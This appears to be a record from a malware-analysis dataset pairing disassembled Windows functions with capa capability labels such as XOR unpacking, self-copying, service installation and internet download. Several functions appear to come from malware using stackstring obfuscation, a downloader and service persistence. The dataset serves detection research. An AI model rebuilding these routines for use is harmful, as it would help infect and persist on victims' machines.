joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4355e5
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00435561
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x43575d
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x43575d
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x43570c
jg 0x43563e
test eax, eax
je 0x435702
push 1
push 0x1000
call fcn.00426372
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x435664
mov eax, dword [ebp + 0x14]
push 0xc
pop edi
mov byte [eax + 0x1c], 1
mov dword [eax + 0x18], edi
jmp 0x4356f9
push 0x8000
push ebx
call fcn.00422675
mov edi, dword [ebp + 0x14]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x435690
jg 0x43568b
cmp ecx, 0x1000
jb 0x435690
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.004291b3
add esp, 0x10
cmp eax, 0xffffffff
je 0x4356d5
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x43568b
jl 0x4356bc
test ecx, ecx
jne 0x43567d
push dword [ebp - 0xc]
push ebx
call fcn.00422675
push esi
call fcn.004263cf
add esp, 0xc
xor edi, edi
jmp 0x43576e
cmp byte [edi + 0x24], 0
je 0x4356ec
cmp dword [edi + 0x20], 5
jne 0x4356ec
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x4356f7
mov edi, dword [edi + 0x18]
jmp 0x4356f9
xor edi, edi
push esi
call fcn.004263cf
pop ecx
jmp 0x43576e
test ecx, ecx
jg 0x4356ce
jl 0x43570c
test eax, eax
jae 0x4356ce
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0042a734
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x43572f
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x4356ce
jmp 0x435766
push ebx
call fcn.0042ce08
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x4356ce
mov esi, dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [esi + 0x24], 1
mov dword [esi + 0x20], eax
pop edi
mov byte [esi + 0x1c], 1
mov dword [esi + 0x18], edi
jmp 0x43576e
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x43576b
mov edi, dword [edi + 0x18]
jmp 0x43576e
push 0x16
pop edi
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.0042a734
add esp, 0x10
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x436a00
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x436a2d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x436a2d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x4181c0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
sub esp, 0x10
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_FindResourceW]
push 0xa
push str._AUTOHOTKEY_SCRIPT_
push 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov byte [esp + 0x20], 0
call edi
mov esi, eax
test esi, esi
jne 0x418201
push 0xa
push str._AHK_WITH_ICON_
push eax
call edi
mov esi, eax
test esi, esi
je 0x418265
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [esp + 0x10], eax
test eax, eax
je 0x418265
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x418265
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [esp + 0xc], eax
test eax, eax
je 0x418265
mov ecx, dword [esp + 0x20]
push 0xc
mov eax, 0xfde9
lea edx, [esp + 0x10]
call fcn.00473e10
mov eax, dword [esp + 0x1c]
mov ecx, dword [eax + 0xac8]
inc dword [0x4cb484]
mov dword [0x4c94ac], ecx
mov eax, 3
pop edi
pop esi
add esp, 0x10
ret 0xc
fldz
mov edx, dword [esp + 0x24]
sub esp, 8
fstp qword [esp]
push 0
push edx
push 0
push str.Could_not_extract_script_from_EXE.
call fcn.0047afc0
add esp, 0x18
pop edi
xor eax, eax
pop esi
add esp, 0x10
ret 0xc
Function at 0x4966b6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4c5dd0]
jne 0x4966c0
repz ret
jmp fcn.0049ac46

Function at 0x498e50
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4c5dd0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00493582
and dword [ebp - 0x14], 0
cmp dword [0x4c8cd4], 0
mov dword [ebp - 0x18], eax
jne 0x498f03
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x498fab
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4a3020
push ebx
call edi
test eax, eax
je 0x498fab
mov esi, dword [fcn.0048f930]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4c8cd4], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4c8cd8], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4c8cdc], eax
call edi
push eax
call esi
mov dword [0x4c8ce4], eax
test eax, eax
je 0x498f03
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4c8ce0], eax
mov eax, dword [0x4c8ce0]
mov ecx, dword [ebp - 0x18]
mov esi, dword [fcn.0048f934]
cmp eax, ecx
je 0x498f5c
cmp dword [0x4c8ce4], ecx
je 0x498f5c
push eax
call esi
push dword [0x4c8ce4]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x498f5c
test ebx, ebx
je 0x498f5c
call edi
test eax, eax
je 0x498f53
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x498f53
test byte [ebp - 8], 1
jne 0x498f5c
or dword [ebp + 0x10], 0x200000
jmp 0x498f8f
mov eax, dword [0x4c8cd8]
cmp eax, dword [ebp - 0x18]
je 0x498f8f
push eax
call esi
test eax, eax
je 0x498f8f
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x498f8f
mov eax, dword [0x4c8cdc]
cmp eax, dword [ebp - 0x18]
je 0x498f8f
push eax
call esi
test eax, eax
je 0x498f8f
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4c8cd4]
call esi
test eax, eax
je 0x498fab
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x498fad
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004966b6
leave
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..00cfg
nop
nop
mov ebx, 0x408ecc
mov ecx, 0x4d8355f1
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x430024
mov eax, section..data
nop
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x52872d2b
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x43006c
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x51ea20
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xbc000]
push edi
or ebp, 0xffffffff
jmp 0x51ea42
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x51ea49
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x51ea38
mov eax, 1
add ebx, ebx
jne 0x51ea5b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x51ea6c
jne 0x51ea7c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x51ea7c
dec eax
add ebx, ebx
jne 0x51ea78
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x51ea50
xor ecx, ecx
sub eax, 3
jb 0x51ea94
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x51eb06
sar eax, 1
mov ebp, eax
jmp 0x51ea9f
add ebx, ebx
jne 0x51ea9f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x51eaac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x51ead0
inc ecx
add ebx, ebx
jne 0x51eabc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x51eab1
jne 0x51eacd
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x51eab1
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x51eaf0
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x51eae1
jmp 0x51ea3e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x51eaf0
add edi, ecx
jmp 0x51ea3e
pop esi
mov edi, esi
mov ecx, 0x4a77
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x51eb0e
cmp byte [edi], 0x13
jne 0x51eb0e
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x51eb13
lea edi, [esi + 0x11b000]
mov eax, dword [edi]
or eax, eax
je 0x51eb8b
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x120140]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x12026c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x51eb40
mov ecx, edi
jns 0x51eb6f
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x120270]
or eax, eax
je 0x51eb85
mov dword [ebx], eax
add ebx, 4
jmp 0x51eb5d
call dword [esi + 0x120274]
popal
jmp 0x49b58e
Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..pdata
nop
mov ebx, 0x40de38
nop
nop
mov ecx, 0x17822c51
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x433024
nop
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
mov ecx, 0x3e8a5564
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43306c
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x432072
nop
mov ebx, 0x40c7d0
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x33f29dd
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x432060
nop
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4320d2
nop
mov ebx, 0x42f314
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x4d5609ad
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4320c0
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x401000
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
push 0
push 0
push eax
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret 8

Function at 0x401020
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x14
mov al, 0x65
mov cl, 0x6c
mov byte [esp + 1], al
mov byte [esp + 8], al
mov byte [esp + 0xc], al
mov byte [esp + 0x10], al
lea eax, [esp]
mov byte [esp], 0x47
push eax
push str.kernel32.dll
mov byte [esp + 0xa], 0x74
mov byte [esp + 0xb], 0x4d
mov byte [esp + 0xc], 0x6f
mov byte [esp + 0xd], 0x64
mov byte [esp + 0xe], 0x75
mov byte [esp + 0xf], cl
mov byte [esp + 0x11], 0x46
mov byte [esp + 0x12], 0x69
mov byte [esp + 0x13], cl
mov byte [esp + 0x15], 0x4e
mov byte [esp + 0x16], 0x61
mov byte [esp + 0x17], 0x6d
mov byte [esp + 0x19], 0x41
mov byte [esp + 0x1a], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x1c]
push edx
push ecx
call eax
add esp, 0x14
ret 0xc
Function at 0x4013b0
Capabilities:
Contain obfuscated stackstrings
Read data from internet
Receive data

Disassembly:
sub esp, 0x20
mov ecx, dword [esp + 0x2c]
push ebx
push esi
mov edx, ecx
push edi
mov edi, dword [esp + 0x34]
xor eax, eax
mov bl, 0x6e
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov byte [esp + 0x10], 0x77
and ecx, 3
mov byte [esp + 0x12], bl
rep stosb byte es:[edi], al
mov al, 0x69
mov byte [esp + 0x14], bl
mov byte [esp + 0x11], al
mov byte [esp + 0x13], al
mov al, 0x6c
mov byte [esp + 0x15], 0x65
mov byte [esp + 0x19], al
mov byte [esp + 0x1a], al
lea eax, [esp + 0x10]
mov byte [esp + 0x16], 0x74
push eax
mov byte [esp + 0x1b], 0x2e
mov byte [esp + 0x1c], 0x64
mov byte [esp + 0x1f], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x40150d
lea ecx, [esp + 0x1c]
push ebp
push ecx
push esi
mov byte [esp + 0x28], 0x49
mov byte [esp + 0x29], bl
mov byte [esp + 0x2a], 0x74
mov byte [esp + 0x2b], 0x65
mov byte [esp + 0x2c], 0x72
mov byte [esp + 0x2d], bl
mov byte [esp + 0x2e], 0x65
mov byte [esp + 0x2f], 0x74
mov byte [esp + 0x30], 0x4f
mov byte [esp + 0x31], 0x70
mov byte [esp + 0x32], 0x65
mov byte [esp + 0x33], bl
mov byte [esp + 0x34], 0x41
mov byte [esp + 0x35], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0
push 0
push 0
push str.baidu
call eax
mov ebp, eax
test ebp, ebp
je 0x4014dc
mov edx, dword [esp + 0x34]
push 0
push 0x4000000
push 0
push 0
push edx
push ebp
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, eax
test ebx, ebx
je 0x4014d5
mov ecx, dword [esp + 0x3c]
mov edi, dword [esp + 0x38]
mov edx, ecx
xor eax, eax
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, edx
mov edx, dword [esp + 0x38]
lea eax, [esp + 0x10]
dec ecx
push eax
push ecx
push edx
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebp
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov esi, dword [esp + 0x38]
push 0x4083d0
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
pop ebp
je 0x401504
pop edi
pop esi
mov eax, str.DOWNFAIL
pop ebx
add esp, 0x20
ret
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 0x20
ret
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x20
ret

Function at 0x401860
Capabilities:
Delete file

Disassembly:
sub esp, 0x104
lea eax, [esp]
push ebx
push esi
push 0x20
push str.hra_u.dll
push eax
xor ebx, ebx
call dword [0x408dc8]
add esp, 0xc
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x4018df
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.StartWork
push esi
call edi
push str.StopWork
push esi
mov dword [0x409288], eax
call edi
test eax, eax
mov dword [0x40928c], eax
pop edi
je 0x4018cd
mov eax, dword [0x409288]
test eax, eax
je 0x4018cd
pop esi
mov eax, 1
pop ebx
add esp, 0x104
ret
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea edx, [esp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, ebx
pop esi
pop ebx
add esp, 0x104
ret
Function at 0x4021f0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 0xc]
mov ecx, 0xfe
and eax, 0xff
push esi
cdq
idiv ecx
mov esi, dword [esp + 0xc]
inc dl
test esi, esi
jbe 0x40221c
mov eax, dword [esp + 8]
mov cl, byte [eax]
sub cl, dl
xor cl, dl
mov byte [eax], cl
inc eax
dec esi
jne 0x402210
pop esi
ret

Function at 0x402220
Capabilities:
Get common file path
Move file

Disassembly:
sub esp, 0x208
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 8]
push 0x104
push eax
push 0
call fcn.00401020
lea ecx, [esp + 0x10c]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edx, [esp + 0x10c]
push str.SOFTWARE.LOG
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea eax, [esp + 0x10c]
push 3
lea ecx, [esp + 0xc]
push eax
push ecx
call esi
test eax, eax
je 0x40229d
push 5
lea edx, [esp + 0x110]
push 0
push edx
call esi
pop edi
pop esi
add esp, 0x208
ret
Function at 0x402390
Capabilities:
Check if file exists
Get file attributes
Get file size
Read file on windows

Disassembly:
sub esp, 0x110
lea eax, [esp + 0xc]
push ebx
push esi
push edi
push str.SYSTEMCurrentControlSetServices_
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [esp + 0x18]
push str.Distributvq
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x10]
lea eax, [esp + 0x18]
push edx
push 0xf003f
push 0
push eax
push 0x80000002
call dword [0x408d98]
test eax, eax
je 0x4023e5
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x18]
lea edx, [esp + 0x18]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0x104
push ecx
push edx
push eax
push eax
mov eax, dword [esp + 0x20]
push str.ImagePath
push eax
call dword [0x408d94]
test eax, eax
je 0x402431
mov ecx, dword [esp + 0x10]
push ecx
call dword [0x408d90]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
mov edx, dword [esp + 0x10]
push edx
call dword [0x408d90]
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x402458
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
push 0
push 0
push 3
push 0
push 1
lea ecx, [esp + 0x2c]
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x402485
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
test eax, eax
mov dword [esp + 0xc], eax
jne 0x4024a9
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
jne 0x4024cb
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
mov eax, dword [esp + 0xc]
lea edx, [esp + 0xc]
push 0
push edx
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4024fd
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x120]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov esi, eax
test esi, esi
jne 0x40252d
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
mov edx, dword [esp + 0xc]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_UpdateResourceA]
push edx
push ebx
push 0
push 0x66
push 0xa
push esi
call ebp
mov edi, eax
test edi, edi
je 0x402566
push str.Distributvq
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push str.Distributvq
push 0
push 0x65
push 0xa
push esi
call ebp
mov edi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
pop ebp
test eax, eax
push ebx
jne 0x402587
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, edi
pop edi
pop esi
pop ebx
add esp, 0x110
ret
Function at 0x402960
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x406190
push 0x405a30
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x370
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x328]
push eax
xor esi, esi
push esi
call fcn.00401020
push 0x104
lea ecx, [ebp - 0x220]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edi, [ebp - 0x220]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea edx, [ebp - 0x328]
push edx
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0xc
test eax, eax
je 0x402aab
push 0x1a
call fcn.00403320
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00403320
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00403320
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00403320
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00403320
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00403320
add esp, 4
add eax, 0x61
push eax
push str._c_c_c_c_c_c.exe
lea ecx, [ebp - 0x380]
push ecx
call dword [0x408dc8]
add esp, 0x20
push 0x4084e4
lea edx, [ebp - 0x220]
push edx
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
call edi
lea eax, [ebp - 0x380]
push eax
lea ecx, [ebp - 0x220]
push ecx
call edi
push esi
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x328]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x220]
push ecx
lea edx, [ebp - 0x328]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [0x409290], 1
mov dword [ebp - 0x224], esi
mov dword [ebp - 0x330], esi
mov dword [ebp - 0x32c], esi
mov dword [ebp - 4], esi
push 0xf003f
push esi
push esi
call dword [0x408d8c]
mov ebx, eax
mov dword [ebp - 0x32c], ebx
test ebx, ebx
je 0x402baf
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x328]
push eax
push 0
push 2
push 0x10
push 0xf01ff
mov ecx, dword [ebp + 0xc]
push ecx
mov edi, dword [ebp + 8]
push edi
push ebx
call dword [0x408db8]
mov esi, eax
mov dword [ebp - 0x330], esi
test esi, esi
jne 0x402b45
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x402b45
push 0xf01ff
push edi
push ebx
call dword [0x408d88]
mov esi, eax
mov dword [ebp - 0x330], esi
test esi, esi
je 0x402baf
push 0
push 0
push esi
call dword [0x408db4]
push 0
push 0
push esi
call dword [0x408db4]
test eax, eax
je 0x402baf
push str.SYSTEMCurrentControlSetServices_
lea edx, [ebp - 0x11c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push edi
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [ebp - 0x224]
push ecx
lea edx, [ebp - 0x11c]
push edx
push 0x80000002
call dword [0x408db0]
mov edi, dword [ebp + 0x10]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push edi
push 1
push 0
push str.Description
mov eax, dword [ebp - 0x224]
push eax
call dword [0x408dac]
mov dword [ebp - 4], 0xffffffff
call fcn.00402bd8
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret